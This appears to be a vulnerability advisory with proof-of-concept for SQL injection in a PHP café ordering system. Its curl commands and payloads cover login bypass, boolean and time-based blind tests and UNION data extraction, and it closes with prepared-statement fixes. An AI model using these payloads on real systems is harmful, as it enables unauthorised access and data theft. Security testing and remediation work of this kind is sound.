Share
## https://sploitus.com/exploit?id=DFBF7FD2-94BC-5CBC-BA94-C6A2CCDA2E59
# cafeorder_vuln_SQL
Proof-of-Concept and Advisory for Simple Cafe Ordering System SQLi

# Vulnerability Advisory: SQL Injection in Simple Café Ordering System

## Affected Version
Simple Café Ordering System — local deployment (legacy mysql_* usage; direct $_POST/$_GET concatenation)

---

## Vulnerability Type
SQL Injection in multiple endpoints (login, registration, order submission, search)

---

## Summary
Multiple PHP endpoints build SQL queries by concatenating untrusted $_POST / $_GET values into SQL strings using the deprecated mysql_* API. No prepared statements or consistent server-side validation are applied. This permits classic SQL injection (authentication bypass, information disclosure, logic manipulation). The report below gives non-destructive, reproducible PoCs you can run against your local instance to prove the issue and tests to confirm exploitability.

---

## Root Cause
User input is used directly inside SQL string literals (for example `"... WHERE username='$username' ..."`). Legacy mysql_* functions are used, and input escaping/validation is missing or inconsistent. This creates injection points wherever $_POST/$_GET values reach SQL statements.

----

## Impact
- **Authentication bypass** (login forms)
- **Data disclosure** (read arbitrary columns/tables)
- **Business logic manipulation** (place orders for arbitrary products, tamper with session flows)
- Depending on privileges of DB account, possible data modification—although this guide avoids destructive payloads

---

## Advisory (Recommendations)

### Short List
- Replace mysql_* with PDO or mysqli and use prepared statements + bound parameters everywhere
- Sanitize and validate inputs server-side (whitelists for numeric IDs, enumerations)
- Principle of least privilege: DB account should have minimal rights
- Centralize DB access in a small data-access layer to reduce ad-hoc concatenation
- Add logging and detect large/slow queries (can indicate injection testing)
- Apply output escaping for any user-controlled data rendered to HTML

---

## Proof-of-Concept (Exploit)

Below are non-destructive POCs intended to confirm vulnerability presence. Replace `http://localhost/simple_cafe/` and paths with your local app endpoints.

### 1) Authentication Bypass (Login)

**Target:** `login.php` (fields username, password)

**Basic payload** (classic boolean bypass):

    username=admin' OR '1'='1' -- 
    password=anything


**Curl example** (URL-encoded comment and spaces):

    curl -s -X POST "http://localhost/simple_cafe/login.php" \
      -d "username=admin%27%20OR%20%271%27%3D%271%27%20--%20" \
      -d "password=irrelevant"


**Expected:** if the app authenticates and redirects to a dashboard or sets a session cookie, the injection succeeded.

If the app expects JSON or different field names, adapt accordingly (e.g. user, email, pass).

### 2) Boolean-based blind test (confirm injection on arbitrary parameter)

**Target:** `order.php` (field product_id used directly).

**Payloads:**

True condition:

    product_id=1' AND 1=1 -- 


False condition:

    product_id=1' AND 1=2 -- 


**Curl:**

    curl -s -X POST "http://localhost/simple_cafe/order.php" -d "product_id=1' AND 1=1 -- "
    curl -s -X POST "http://localhost/simple_cafe/order.php" -d "product_id=1' AND 1=2 -- "


If responses differ (status, content length, presence/absence of order confirmation), that indicates injection.

### 3) Error-based proof (non-destructive information leak)

If an application's query result is reflected in the page, you can try to retrieve the DB version:

**Payload (example for a search endpoint search.php with param q):**
    
    q=' UNION SELECT NULL,@@version -- 


**Curl:**

    curl -s -X POST "http://localhost/simple_cafe/search.php" -d "q=' UNION SELECT NULL,@@version -- "


If the response includes the DB version string (e.g. 8.0.33), that proves ability to extract data via UNION. Do not attempt UNION unless you understand how many columns the original query selects—otherwise it will error.

### 4) Time-based confirmation (blind, low-noise)

If the app suppresses errors and you only observe timing differences, you can test with SLEEP() (use sparingly):

**Payload:**

    username=nonexistent' AND IF(1=1,SLEEP(5),0) -- 


**Curl with timeout observation:**

    time curl -s -X POST "http://localhost/simple_cafe/login.php" \
      -d "username=nonexistent%27%20AND%20IF(1%3D1%2CSLEEP(5)%2C0)%20--%20" \
      -d "password=x"


If the request takes ~5 seconds longer, injection is present. Caution: Do not run many time-based probes against third-party systems; they cause service delays.

---

## Exploit Steps (concise)
- Identify candidate endpoints (login, register, order, search) that accept user input and issue DB queries.
- Intercept a request (browser devtools / curl).
- Inject the simplest boolean payload: ' OR '1'='1' -- into a string parameter.
- Observe application behavior: successful login, different page output or response length/status.
- Use boolean / error / time tests above to further confirm and, if needed, enumerate safe, read-only info (e.g., @@version, database()) using UNION or error-based techniques only on local test systems.

---

## Quick Fix Examples (safe code snippets)

### PDO (recommended)
    // create PDO once
    $pdo = new PDO('mysql:host=localhost;dbname=yourdb;charset=utf8mb4', $dbuser, $dbpass,
        [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
    
    // login check (replace old concatenation)
    $stmt = $pdo->prepare('SELECT id FROM users WHERE username = :u AND password = :p');
    $stmt->execute([':u' => $username, ':p' => $password]);
    $user = $stmt->fetch();

### mysqli (bind params)
    $stmt = $mysqli->prepare('SELECT id FROM users WHERE username = ? AND password = ?');
    $stmt->bind_param('ss', $username, $password);
    $stmt->execute();
    $res = $stmt->get_result();


### Also validate numeric IDs before use:

    $product_id = filter_input(INPUT_POST, 'product_id', FILTER_VALIDATE_INT);
    if ($product_id === false) { /* reject */ }